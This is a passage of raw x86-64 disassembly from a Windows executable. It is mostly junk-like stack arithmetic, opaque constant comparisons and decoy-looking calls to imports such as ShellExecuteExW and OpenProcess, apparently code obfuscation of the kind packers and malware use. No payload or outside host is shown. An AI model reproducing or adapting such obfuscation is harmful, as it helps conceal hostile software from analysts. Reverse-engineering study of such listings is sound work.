mov rax, qword [rsp + 0xed18]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [0x1401eee08]
shl rax, cl
mov qword [rsp + 0xed60], rax
mov rax, qword [rsp + 0xee18]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x4da]
sub eax, ecx
mov rcx, qword [rsp + 0xed68]
mov byte [rcx], al
movsx eax, word [rsp + 0x151c]
mov rcx, qword [rsp + 0xede8]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x2558], ax
mov rax, qword [rsp + 0xecf8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2540]
add eax, ecx
mov word [0x1401e3388], ax
mov rax, qword [rsp + 0xed08]
mov rcx, qword [rsp + 0xecd0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xea88], rax
mov rax, qword [rsp + 0xeea8]
mov rcx, qword [rsp + 0xecd0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xecb8], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_MapUserPhysicalPagesScatter]
movzx eax, byte [rsp + 0x35e]
movzx ecx, byte [rsp + 0x4d7]
sub eax, ecx
mov byte [rsp + 0x3fd], al
mov rax, qword [rsp + 0xedf0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xecd8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xed48], rax
mov eax, dword [rsp + 0x7530]
mov ecx, dword [rsp + 0x758c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x74e4], eax
lea rdx, [rsp + 0x75fc]
mov rcx, qword [rsp + 0xed50]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x752c], eax
mov rax, qword [rsp + 0xedb0]
mov ecx, dword [rsp + 0x6850]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x68dc], eax
lea rdx, [rsp + 0x21358]
mov rcx, qword [rsp + 0xed50]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x7538], eax
movsx eax, word [rsp + 0x141c]
mov rcx, qword [rsp + 0xef20]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x2570], ax
movzx eax, word [rsp + 0x2580]
movzx ecx, word [rsp + 0x2560]
shl eax, cl
mov rcx, qword [rsp + 0xecf8]
mov word [rcx], ax
mov eax, dword [rsp + 0x751c]
mov ecx, dword [rsp + 0x7600]
or ecx, eax
mov eax, ecx
mov dword [0x1401eee10], eax
mov eax, dword [rsp + 0x75f8]
add eax, 0xa
mov dword [rsp + 0x75f8], eax
movsx eax, byte [0x1401e3038]
movsx ecx, byte [rsp + 0x4d8]
sar eax, cl
mov byte [rsp + 0x4dc], al
mov rax, qword [rsp + 0xede8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xef20]
movsx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x141c], ax
movzx eax, word [0x1401e3388]
mov rcx, qword [rsp + 0xecf8]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x24ac], ax
mov rax, qword [0x1401eee00]
mov ecx, dword [rsp + 0x75bc]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x75f4], eax
mov rax, qword [rsp + 0xedf0]
mov rcx, qword [0x1401eee08]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0xecd8], rax
mov rax, qword [rsp + 0xedb0]
mov ecx, dword [rsp + 0x7544]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x6088], eax
cmp dword [rsp + 0x75f8], 0x3ce9
jb 0x140019c36
mov rax, qword [rsp + 0xed68]
movzx eax, byte [rax]
mov byte [rsp + 0x4e0], al
movzx eax, word [rsp + 0xefc]
movzx ecx, word [rsp + 0x2578]
sub eax, ecx
mov word [rsp + 0x2580], ax
lea rax, [rsp + 0x4d9]
mov qword [0x1401eede8], rax
mov eax, dword [rsp + 0x751c]
mov dword [rsp + 0x7620], eax
cmp dword [rsp + 0x7620], 0x7910
je 0x140019fdd
cmp dword [rsp + 0x7620], 0x7defb780
je 0x140019f55
jmp 0x14001a0ba
movzx eax, byte [rsp + 0x35e]
mov rcx, qword [rsp + 0xee18]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x3fd], al
mov rax, qword [rsp + 0xede8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xef20]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x17ec], ax
mov rax, qword [rsp + 0xed08]
mov rcx, qword [rsp + 0xeea8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xecb8], rax
mov rax, qword [rsp + 0xed40]
mov qword [rsp + 0xef30], rax
mov rax, qword [0x1401eee00]
mov ecx, dword [rsp + 0x761c]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x74e4], eax
jmp 0x14001a0ba
mov rax, qword [rsp + 0xedb0]
mov ecx, dword [rsp + 0x615c]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x74ec], eax
mov rax, qword [rsp + 0xed60]
mov rcx, qword [rsp + 0xed58]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xecd8], rax
lea rdx, [rsp + 0xee40]
mov rcx, qword [rsp + 0xed88]
call qword [sym.imp.SHELL32.dll_SHQueryRecycleBinW]
mov dword [rsp + 0x7624], eax
movsx eax, word [rsp + 0x257c]
mov rcx, qword [rsp + 0xef20]
movsx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0xed80]
mov word [rcx], ax
movzx eax, word [rsp + 0x256c]
mov rcx, qword [rsp + 0xecf8]
movzx ecx, word [rcx]
xor eax, ecx
mov word [0x1401e3388], ax
mov rax, qword [0x1401eede8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x4d8]
or eax, ecx
mov byte [rsp + 0x4d9], al
mov rax, qword [rsp + 0xed68]
movzx eax, byte [rax]
movzx ecx, byte [0x1401e3039]
shl eax, cl
mov byte [rsp + 0x4db], al
lea rcx, [rsp + 0x7578]
call qword [sym.imp.SHELL32.dll_ILCloneFirst]
mov qword [rsp + 0xef38], rax
mov rax, qword [rsp + 0xecb8]
mov qword [rsp + 0xef40], rax
movsx eax, word [rsp + 0x2584]
movsx ecx, word [rsp + 0x2554]
and eax, ecx
mov word [rsp + 0x2570], ax
mov rax, qword [0x1401eee00]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x74e4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x761c], eax
mov rax, qword [rsp + 0xedf0]
mov rcx, qword [rsp + 0xed18]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0xed48]
mov rdx, qword [rsp + 0xed60]
and rdx, rcx
mov rcx, rdx
cmp rax, rcx
je 0x1401c4bc7
mov rax, qword [rsp + 0xed08]
mov rcx, qword [rsp + 0xedb8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xeea8], rax
mov rax, qword [rsp + 0xed18]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xedf0]
mov qword [rsp + 0xef48], rcx
movzx ecx, al
mov rax, qword [rsp + 0xef48]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0xed48], rax
mov eax, dword [rsp + 0x7628]
mov rcx, qword [rsp + 0xedb0]
mov qword [rsp + 0xef50], rcx
movzx ecx, al
mov rax, qword [rsp + 0xef50]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x6c34], eax
mov rax, qword [rsp + 0xed18]
mov rcx, qword [rsp + 0xedf0]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [rsp + 0xed18]
mov qword [rcx], rax
mov rax, qword [0x1401eedf0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xed68]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x4da], al
mov rax, qword [rsp + 0xecf8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x24ac]
and eax, ecx
mov word [rsp + 0x2564], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetProcessPriorityBoost]
movsx eax, word [rsp + 0x1240]
mov rcx, qword [rsp + 0xee00]
movsx ecx, word [rcx]
sub eax, ecx
mov word [0x1401e338c], ax
mov eax, dword [rsp + 0x75ac]
sub eax, 0x4d
mov dword [rsp + 0x75ac], eax
mov rax, qword [rsp + 0xecb8]
mov rcx, qword [rsp + 0xed08]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xecd0], rax
mov rax, qword [rsp + 0xeea8]
mov rcx, qword [rsp + 0xed40]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xecb8], rax
lea rcx, [rsp + 0x22950]
call qword [sym.imp.KERNEL32.dll_GetVersionExW]
mov dword [rsp + 0x75c0], eax
cmp dword [rsp + 0x75ac], 0xe023
jae 0x14001a137
movzx eax, word [rsp + 0x258c]
mov word [rsp + 0x2590], ax
mov rax, qword [rsp + 0xecd8]
mov rcx, qword [rsp + 0xed58]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xed60], rax
mov rax, qword [rsp + 0xedb0]
mov ecx, dword [rsp + 0x6850]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x74d4], eax
movsx eax, byte [rsp + 0x4df]
movsx ecx, byte [rsp + 0x4d9]
and eax, ecx
mov byte [rsp + 0x2b3], al
mov rax, qword [0x1401eee00]
mov ecx, dword [rsp + 0x705c]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x758c], eax
mov rax, qword [rsp + 0xee00]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xef20]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x17ec], ax
mov rax, qword [rsp + 0xecf8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x256c]
sub eax, ecx
mov word [0x1401e3388], ax
movsx eax, word [rsp + 0x2570]
movsx ecx, word [rsp + 0x2558]
or eax, ecx
mov word [rsp + 0x2588], ax
mov rax, qword [rsp + 0xee18]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x4da]
sar eax, cl
mov byte [rsp + 0x4d7], al
movzx eax, byte [rsp + 0x4dd]
movzx ecx, byte [rsp + 0x4da]
shl eax, cl
mov byte [rsp + 0x3fd], al
mov rax, qword [rsp + 0xedf0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xecd8]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0xed48], rax
mov rax, qword [rsp + 0xedb0]
mov eax, dword [rax]
mov ecx, dword [0x1401eedf8]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x7034], eax
mov rax, qword [0x1401eee00]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x758c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x74e4], eax
movzx eax, byte [rsp + 0x4da]
mov rcx, qword [0x1401eedf0]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x4e0], al
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [rsp + 0x762c], eax
mov rax, qword [rsp + 0xef20]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2558]
add eax, ecx
mov word [rsp + 0x2544], ax
mov rax, qword [rsp + 0xecf8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2590]
sub eax, ecx
mov word [0x1401e3388], ax
movsx eax, word [rsp + 0x2588]
movsx ecx, word [rsp + 0x1240]
sub eax, ecx
mov rcx, qword [rsp + 0xed80]
mov word [rcx], ax
mov rax, qword [rsp + 0xef30]
mov rcx, qword [rsp + 0xea88]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xef40], rax
mov rax, qword [rsp + 0xeea8]
mov rcx, qword [rsp + 0xea88]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xedb8], rax
mov rax, qword [rsp + 0xecf8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2564]
add eax, ecx
mov word [rsp + 0x2580], ax
mov rax, qword [0x1401eede8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x2b3]
or eax, ecx
mov byte [rsp + 0x4d9], al
mov rax, qword [rsp + 0xed18]
mov rax, qword [rax]
mov rcx, qword [0x1401eee08]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0xecd8], rax
mov eax, dword [rsp + 0x7544]
mov rcx, qword [rsp + 0xedb0]
mov qword [rsp + 0xef58], rcx
movzx ecx, al
mov rax, qword [rsp + 0xef58]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x615c], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_MulDiv]
mov eax, dword [rsp + 0x74e4]
mov rcx, qword [0x1401eee00]
mov qword [rsp + 0xef60], rcx
movzx ecx, al
mov rax, qword [rsp + 0xef60]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x7600], eax
mov rax, qword [rsp + 0xef20]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xed80]
movsx ecx, word [rcx]
sub eax, ecx
mov word [0x1401e3380], ax
mov rax, qword [0x1401eedf0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xed68]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x4d7], al
mov rax, qword [rsp + 0xecf8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2540]
sub eax, ecx
mov word [rsp + 0x2578], ax
mov rax, qword [rsp + 0xed80]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xede8]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1240], ax
movzx eax, byte [rsp + 0x4dd]
mov rcx, qword [rsp + 0xed68]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x4e0], al
mov eax, dword [rsp + 0x615c]
mov ecx, dword [rsp + 0x7544]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x75d4], eax
mov rax, qword [rsp + 0xedf0]
mov rcx, qword [rsp + 0xecd8]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xbb58], rax
mov rax, qword [0x1401eee00]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x758c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x751c], eax
mov rax, qword [rsp + 0xed08]
mov rcx, qword [rsp + 0xedb8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xecb8], rax
movzx eax, word [rsp + 0xefc]
mov rcx, qword [rsp + 0xecf8]
movzx ecx, word [rcx]
and eax, ecx
mov word [0x1401e3388], ax
movsx eax, word [rsp + 0x2544]
mov rcx, qword [rsp + 0xede8]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x2570], ax
movzx eax, byte [rsp + 0x4d7]
mov rcx, qword [rsp + 0xed68]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x299], al
mov eax, dword [rsp + 0x75f0]
sub eax, 0x85
mov dword [rsp + 0x75f0], eax
mov rax, qword [0x1401eede8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x4dc]
xor eax, ecx
mov byte [rsp + 0x4d8], al
mov rax, qword [rsp + 0xedb8]
mov rcx, qword [rsp + 0xef30]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0xed08], rax
cmp dword [rsp + 0x75f0], 0x81a0
jae 0x14001a2be
mov rax, qword [rsp + 0xedf0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xed60]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xed48], rax
mov eax, dword [rsp + 0x7530]
mov ecx, dword [rsp + 0x758c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x6128], eax
mov rax, qword [rsp + 0xedb0]
mov ecx, dword [rsp + 0x75d4]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x6850], eax
movzx eax, byte [rsp + 0x299]
mov rcx, qword [rsp + 0xee18]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x4d7], al
mov rax, qword [rsp + 0xecf8]
movzx eax, word [rax]
mov word [0x1401eede4], ax
mov rax, qword [rsp + 0xede8]
movzx eax, word [rax]
mov word [rsp + 0x2594], ax
mov rax, qword [rsp + 0xea88]
mov rcx, qword [rsp + 0xedb8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xed40], rax
mov rax, qword [rsp + 0xed08]
mov qword [rsp + 0xef68], rax
mov rax, qword [rsp + 0xee18]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x299]
sub eax, ecx
mov byte [rsp + 0x4e0], al
movzx eax, word [rsp + 0x256c]
mov rcx, qword [rsp + 0xecf8]
movzx ecx, word [rcx]
sub eax, ecx
movzx ecx, word [rsp + 0x1694]
movzx edx, word [rsp + 0x2540]
sub ecx, edx
cmp eax, ecx
jle 0x14001a929
mov rax, qword [0x1401eee00]
mov ecx, dword [rsp + 0x7600]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x758c], eax
mov eax, dword [0x1401eedf8]
mov rcx, qword [rsp + 0xedb0]
mov qword [rsp + 0xef70], rcx
movzx ecx, al
mov rax, qword [rsp + 0xef70]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x6088], eax
mov rax, qword [rsp + 0xedf0]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xed48]
shl rax, cl
mov qword [rsp + 0xed60], rax
call fcn.1401c5a70
lea rdx, [rsp + 0x74f4]
lea rcx, [rsp + 0xef78]
call qword [sym.imp.SHELL32.dll_ILSaveToStream]
mov dword [rsp + 0x7624], eax
movsx eax, word [rsp + 0x2554]
movsx ecx, word [rsp + 0x2584]
or eax, ecx
mov word [rsp + 0x141c], ax
mov rax, qword [rsp + 0xecf8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xefc]
xor eax, ecx
mov word [0x1401eede4], ax
mov rax, qword [rsp + 0xed40]
mov rcx, qword [rsp + 0xed08]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xeea8], rax
jmp 0x14001aacf
mov eax, dword [rsp + 0x615c]
mov ecx, dword [rsp + 0x68dc]
add ecx, eax
mov eax, ecx
mov ecx, dword [rsp + 0x75d4]
mov edx, dword [rsp + 0x6088]
add edx, ecx
mov ecx, edx
cmp eax, ecx
jb 0x14001aacf
mov rax, qword [rsp + 0xee18]
movzx eax, byte [rax]
mov rcx, qword [0x1401eedf0]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xed68]
mov byte [rcx], al
mov dword [rsp + 0x20], ILCloneFirst
mov r9d, SHDoDragDrop
lea r8, [rsp + 0x28370]
mov edx, 0x28
mov rcx, qword [rsp + 0xed70]
call qword [sym.imp.SHELL32.dll_SHGetFileInfoW]
mov dword [rsp + 0x7604], eax
mov rax, qword [rsp + 0xecf8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2540]
sub eax, ecx
mov word [rsp + 0xefc], ax
movsx eax, word [rsp + 0x2594]
movsx ecx, word [rsp + 0x2570]
and eax, ecx
mov word [rsp + 0x2550], ax
mov rax, qword [rsp + 0xedb0]
mov ecx, dword [rsp + 0x7604]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x7034], eax
mov rax, qword [0x1401eee00]
mov eax, dword [rax]
mov ecx, dword [0x1401eee10]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x60e0], eax
mov rax, qword [rsp + 0xed18]
mov rcx, qword [rsp + 0xedf0]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xbb58], rax
mov rax, qword [rsp + 0xedb8]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0xed08]
mov r8, qword [rsp + 0xeea8]
mov rdx, qword [rsp + 0xef68]
mov rcx, qword [rsp + 0xef40]
call fcn.1401c5a20
lea rcx, [rsp + 0x226a0]
call qword [sym.imp.SHELL32.dll_ShellExecuteExW]
mov dword [rsp + 0x7558], eax
movzx eax, byte [0x1401e3039]
mov rcx, qword [rsp + 0xed68]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x4db], al
mov rax, qword [rsp + 0xed68]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xee18]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [0x1401e3039], al
movzx eax, word [rsp + 0x258c]
movzx ecx, word [rsp + 0x2480]
sar eax, cl
mov rcx, qword [rsp + 0xecf8]
mov word [rcx], ax
mov rax, qword [rsp + 0xed80]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xede8]
movsx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x17ec], ax
mov rax, qword [rsp + 0xeea8]
mov rcx, qword [rsp + 0xef68]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0xdd40], rax
mov rax, qword [rsp + 0xea88]
movzx ecx, al
mov rax, qword [rsp + 0xecb8]
shl rax, cl
mov qword [rsp + 0xeea8], rax
mov eax, dword [0x1401eedf8]
mov dword [rsp + 0x7630], eax
mov rax, qword [rsp + 0xedf0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xecd8]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xed48], rax
mov rax, qword [0x1401eee00]
mov eax, dword [rax]
imul eax, dword [0x1401eee10]
mov dword [rsp + 0x75f4], eax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0xef80], rax
mov rax, qword [rsp + 0xedb0]
mov eax, dword [rax]
mov dword [rsp + 0x7634], eax
cmp dword [rsp + 0x7634], 0xa7129274
je 0x14001aba1
jmp 0x1401c4a19
movsx eax, word [rsp + 0x2570]
movsx ecx, word [rsp + 0x257c]
or eax, ecx
mov word [0x1401e3398], ax
mov eax, dword [rsp + 0x7544]
mov dword [rsp + 0x7638], eax
cmp dword [rsp + 0x7638], 0xeace
je 0x14001abd7
jmp 0x14001ac35
movzx eax, word [rsp + 0x2578]
mov rcx, qword [rsp + 0xecf8]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x2560], ax
mov rax, qword [rsp + 0xee18]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xed68]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x299], al
mov rax, qword [rsp + 0xee00]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x151c]
sub eax, ecx
mov word [rsp + 0x2544], ax
jmp 0x1401c49f6
cmp dword [rsp + 0x756c], 0x207d
je 0x14001ae95
mov eax, dword [0x1401eedf8]
mov ecx, dword [rsp + 0x74ec]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xedb0]
mov dword [rcx], eax
mov rax, qword [rsp + 0xed68]
movzx eax, byte [rax]
mov rcx, qword [0x1401eedf0]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xee18]
mov byte [rcx], al
mov rax, qword [rsp + 0xecd8]
mov rcx, qword [rsp + 0xed60]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xc7f8], rax
mov rax, qword [0x1401eede8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x4df]
sub eax, ecx
mov byte [rsp + 0x4d8], al
mov rax, qword [rsp + 0xef20]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xed80]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x1240], ax
movzx eax, byte [rsp + 0x3fd]
mov rcx, qword [rsp + 0xed68]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [0x1401e3039], al
movzx eax, word [rsp + 0x256c]
movzx ecx, word [rsp + 0x2564]
add eax, ecx
mov word [rsp + 0x255c], ax
mov rax, qword [rsp + 0xed40]
mov rcx, qword [rsp + 0xef68]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xeea8], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rax, qword [rsp + 0xdd40]
movzx ecx, al
mov rax, qword [rsp + 0xed08]
sar rax, cl
mov qword [rsp + 0xef68], rax
mov eax, dword [rsp + 0x756c]
add eax, 0x14
mov dword [rsp + 0x756c], eax
mov rax, qword [rsp + 0xedb0]
mov eax, dword [rax]
mov dword [rsp + 0x7628], eax
mov eax, dword [rsp + 0x7600]
mov rcx, qword [0x1401eee00]
mov qword [rsp + 0xef88], rcx
movzx ecx, al
mov rax, qword [rsp + 0xef88]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x75f4], eax
lea rdx, [rsp + 0x21320]
mov rcx, qword [rsp + 0xedc8]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x7534], eax
mov rax, qword [rsp + 0xedf0]
mov rcx, qword [rsp + 0xc7f8]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0xed48], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetThreadPriority]
movsx eax, word [rsp + 0x151c]
mov rcx, qword [rsp + 0xee00]
movsx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0xed80]
mov word [rcx], ax
movzx eax, word [rsp + 0x2578]
movzx ecx, word [rsp + 0x256c]
and eax, ecx
mov word [rsp + 0x1694], ax
movzx ecx, word [rsp + 0x2574]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2574], ax
mov rax, qword [rsp + 0xee18]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x3fd]
sub eax, ecx
mov byte [0x1401e3039], al
mov rax, qword [rsp + 0xedb8]
mov rcx, qword [rsp + 0xef40]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xed08], rax
movsx eax, word [rsp + 0x151c]
movsx ecx, word [rsp + 0x141c]
add eax, ecx
mov rcx, qword [rsp + 0xed80]
mov word [rcx], ax
jmp 0x14001ac35
mov rax, qword [rsp + 0xee00]
movzx eax, word [rax]
mov word [rsp + 0x2598], ax
mov r9d, 0x14c6
xor r8d, r8d
lea rdx, [rsp + 0xedd8]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x763c], eax
lea rax, [rsp + 0x705c]
mov qword [rsp + 0xef90], rax
mov rax, qword [rsp + 0xed18]
mov rcx, qword [rsp + 0xecd8]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xc7f8], rax
movsx eax, byte [rsp + 0x4d8]
mov rcx, qword [0x1401eede8]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x113], al
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0xef98], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_MapUserPhysicalPagesScatter]
mov eax, dword [rsp + 0x74ec]
mov ecx, dword [rsp + 0x7630]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x74d4], eax
mov rax, qword [rsp + 0xbb58]
mov qword [rsp + 0xefa0], rax
movabs rax, 0x725e5bb6f3d314
cmp qword [rsp + 0xefa0], rax
je 0x14001af8f
movabs rax, 0x7d7ef6809ce5ae
cmp qword [rsp + 0xefa0], rax
je 0x14001afeb
jmp 0x14001b05d
mov rax, qword [rsp + 0xed68]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xee18]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x4da], al
lea rdx, [rsp + 0x2594]
lea rcx, [rsp + 0x705c]
call qword [sym.imp.SHELL32.dll_ILFindChild]
mov qword [rsp + 0xefa8], rax
mov rax, qword [0x1401eede8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x4de]
add eax, ecx
mov rcx, qword [0x1401eede8]
mov byte [rcx], al
jmp 0x14001b05d
mov rax, qword [0x1401eedf0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xee18]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x3fd], al
mov rax, qword [rsp + 0xecf8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2480]
or eax, ecx
mov word [rsp + 0x2590], ax
movzx eax, word [rsp + 0x2564]
movzx ecx, word [rsp + 0x2590]
xor eax, ecx
mov word [rsp + 0x255c], ax
lea rdx, [rsp + 0xefb0]
mov rcx, qword [rsp + 0xee38]
call qword [sym.imp.SHELL32.dll_SHQueryRecycleBinW]
mov dword [rsp + 0x74f4], eax
mov eax, dword [rsp + 0x74e4]
mov dword [rsp + 0x7640], eax
mov eax, dword [rsp + 0x6088]
mov rcx, qword [rsp + 0xedb0]
mov qword [rsp + 0xefb8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xefb8]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x75d4], eax
mov rax, qword [rsp + 0xed18]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xed60]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xed58], rax
movzx eax, byte [rsp + 0x4db]
movzx ecx, byte [rsp + 0x4dd]
and eax, ecx
mov byte [rsp + 0x299], al
mov rax, qword [rsp + 0xee00]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2598]
add eax, ecx
mov word [rsp + 0x2570], ax
mov rax, qword [rsp + 0xecf8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x256c]
sub eax, ecx
mov word [0x1401e3388], ax
mov rax, qword [rsp + 0xdd40]
mov rcx, qword [rsp + 0xef40]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xed08], rax
mov rax, qword [rsp + 0xed68]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x35e]
sub eax, ecx
mov rcx, qword [rsp + 0xee18]
mov byte [rcx], al
mov rax, qword [rsp + 0xedb8]
mov rcx, qword [rsp + 0xecb8]
add rcx, rax
